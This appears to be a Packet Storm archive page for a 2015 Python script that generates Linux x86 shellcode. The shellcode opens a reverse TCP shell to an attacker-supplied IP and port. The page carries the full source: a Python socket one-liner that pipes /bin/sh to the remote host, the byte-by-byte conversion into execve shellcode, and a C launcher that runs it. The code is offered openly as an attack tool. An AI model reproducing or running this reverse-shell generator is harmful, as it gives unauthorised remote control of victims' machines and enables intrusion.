exploit the possibilities

Linux Reverse TCP Shell In Python

Linux Reverse TCP Shell In Python
Posted Jul 27, 2015
Authored by B3mB4m

Python code that provides a reverse TCP shell.

tags | tool, shell, tcp, rootkit, python
systems | unix
MD5 | 96256b495ac49497f683ab5a9aedc42f

Linux Reverse TCP Shell In Python

Change Mirror Download
import sys
import re

#Title :Linux ReverseTCPShell Shellcode via PythonCodes

"""
___ _ ___
| _ ) ___ _ __ | |__ ___ _ _ _ __ __ _ _ _ / __|
| _ \/ _ \ ' \| '_ \/ -_) '_| ' \/ _` | ' \\__ \
|___/\___/_|_|_|_.__/\___|_| |_|_|_\__,_|_||_|___/
_____
|_ _|__ __ _ _ __
| |/ -_) _` | ' \
|_|\___\__,_|_|_|_|

Members:
Bomberman > B3mB4m < T-Rex

Should I rest ? LOL.No fucking way..
So what you think we can convert python reverse shell directly shellcodes ?


Tested on : Ubuntu 14.04(x86)
Proof : http://i.imgur.com/kfWwU6x.png
Python default path always some.So probably will works on all linux systems.
"""




class B3mB4m(object):
def __init__(self):
self.command = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''' % (str(sys.argv[1]), str(sys.argv[2]))
self.shellcode = r"\x31\xff\x6a\x0b\x58\x99\x57"
def splitter(self, hexdump, pushword="None"):
if pushword == "None":
fixmesempai = re.findall('....?', hexdump)
for x in fixmesempai[::-1]:
first = str(x[::-1].encode("hex"))
second = re.findall("..?", first)[::-1]
minilist = ""
for x in second:
minilist += r"\x%s" % x
self.shellcode += r"\x68%s" % minilist
else:
first = str(x[::-1].encode("hex"))
second = re.findall("..?", first)[::-1]
for x in second:
minilist = ""
minilist += r"\x%s" % x
self.shellcode += r"\x66\x68\x%s" % minilist

self.shellcode += r"\x89\xe6\x52\x66\x68\x2d\x63\x89\xe1\x52\x68\x74\x68\x6f\x6e"
self.shellcode += r"\x68\x6e\x2f\x70\x79\x68\x72\x2f\x62\x69\x68\x2f\x2f\x75\x73"
self.shellcode += r"\xb0\x0b\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80"
self.shellcode = 'char *shellcode = "%s";' % self.shellcode
self.cplusplus()


def logo(self):
print """
Author : LOL.What you think ?
Greetz : Itzik Kotler
""";

def cplusplus(self):
self.logo()#Let me do that for you ^_^
print """
#include <stdio.h>
#include <string.h>

/*Coded by B3mB4m

gcc shell.c -o shell
./shell */


%s

int main(void){
(*(void(*)()) shellcode)();}\n\n""" % (self.shellcode)


def testmystring(self):
if len(self.command)%4 != 0:
dwordpart = self.command[0:(len(self.command)-len(self.command)%4)]
wordpart = self.command[(len(self.command)-len(self.command)%4):len(self.command)]
self.splitter( dwordpart)
self.splitter( wordpart, "WordTime")
else:
self.splitter( self.command)




if len(sys.argv) < 2:
print "Usage reverse.py IP PORT"
sys.exit()
else:
B3mB4m().testmystring()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close